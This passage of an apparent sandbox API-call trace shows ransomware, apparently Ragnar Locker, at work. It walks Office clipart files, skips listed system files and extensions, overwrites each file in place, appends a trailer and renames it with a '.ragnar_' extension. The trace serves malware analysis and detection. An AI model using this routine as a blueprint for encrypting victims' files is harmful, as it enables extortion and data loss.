dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.379] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30f2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30f2, lpOverlapped=0x0) returned 1 [0090.380] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.380] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.380] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.380] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.380] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.380] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.380] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.380] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.380] GetProcessHeap () returned 0x580000 [0090.380] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.380] CloseHandle (hObject=0xf4) returned 1 [0090.380] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" [0090.380] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.ragnar_FD7BD9FC" [0090.381] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.381] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0090.381] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.381] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02897J.JPG" | out: lpString1="PH02897J.JPG") returned="PH02897J.JPG" [0090.381] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG") returned=".JPG" [0090.381] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.381] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="autorun.inf") returned 1 [0090.381] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="boot.ini") returned 1 [0090.381] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="bootfont.bin") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="bootsect.bak") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="bootmgr") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="bootmgr.efi") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="desktop.ini") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="iconcache.db") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="ntldr") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="ntuser.dat") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="ntuser.ini") returned 1 [0090.382] lstrcmpiW (lpString1="PH02897J.JPG", lpString2="thumbs.db") returned -1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.382] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg")) returned 0x20 [0090.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.383] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15429) returned 1 [0090.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.383] GetProcessHeap () returned 0x580000 [0090.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.383] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.385] VirtualAlloc (lpAddress=0x0, dwSize=0x3c45, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.385] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.386] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.386] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c45, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c45, lpOverlapped=0x0) returned 1 [0090.387] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.387] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c45, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.387] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c45, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c45, lpOverlapped=0x0) returned 1 [0090.387] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c45, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.387] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.387] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.387] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.387] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.387] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.387] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.388] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.388] GetProcessHeap () returned 0x580000 [0090.388] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.388] CloseHandle (hObject=0xf4) returned 1 [0090.388] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" [0090.388] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.ragnar_FD7BD9FC" [0090.388] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.388] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0090.389] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.389] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03011U.BMP" | out: lpString1="PH03011U.BMP") returned="PH03011U.BMP" [0090.389] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP") returned=".BMP" [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="autorun.inf") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="boot.ini") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="bootfont.bin") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="bootsect.bak") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="bootmgr") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="bootmgr.efi") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="desktop.ini") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="iconcache.db") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="ntldr") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="ntuser.dat") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="ntuser.ini") returned 1 [0090.389] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="thumbs.db") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.389] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp")) returned 0x20 [0090.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.390] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15478) returned 1 [0090.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.390] GetProcessHeap () returned 0x580000 [0090.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.390] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.392] VirtualAlloc (lpAddress=0x0, dwSize=0x3c76, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.392] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.392] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.392] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c76, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c76, lpOverlapped=0x0) returned 1 [0090.393] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.393] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c76, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.393] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c76, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c76, lpOverlapped=0x0) returned 1 [0090.393] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c76, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.393] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.394] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.394] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.394] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.394] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.394] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.394] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.394] GetProcessHeap () returned 0x580000 [0090.394] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.394] CloseHandle (hObject=0xf4) returned 1 [0090.394] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" [0090.394] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.ragnar_FD7BD9FC" [0090.394] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.395] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0090.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.395] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03012U.BMP" | out: lpString1="PH03012U.BMP") returned="PH03012U.BMP" [0090.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP") returned=".BMP" [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="autorun.inf") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="boot.ini") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="bootfont.bin") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="bootsect.bak") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="bootmgr") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="bootmgr.efi") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="desktop.ini") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="iconcache.db") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="ntldr") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="ntuser.dat") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.395] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="ntuser.ini") returned 1 [0090.396] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="thumbs.db") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.396] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp")) returned 0x20 [0090.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.396] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4118) returned 1 [0090.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x100d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.396] GetProcessHeap () returned 0x580000 [0090.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.396] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.398] VirtualAlloc (lpAddress=0x0, dwSize=0x1016, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.398] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1016, lpOverlapped=0x0) returned 1 [0090.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.399] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1016, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.399] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1016, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1016, lpOverlapped=0x0) returned 1 [0090.399] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1016, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.399] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1016, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.399] LockFile 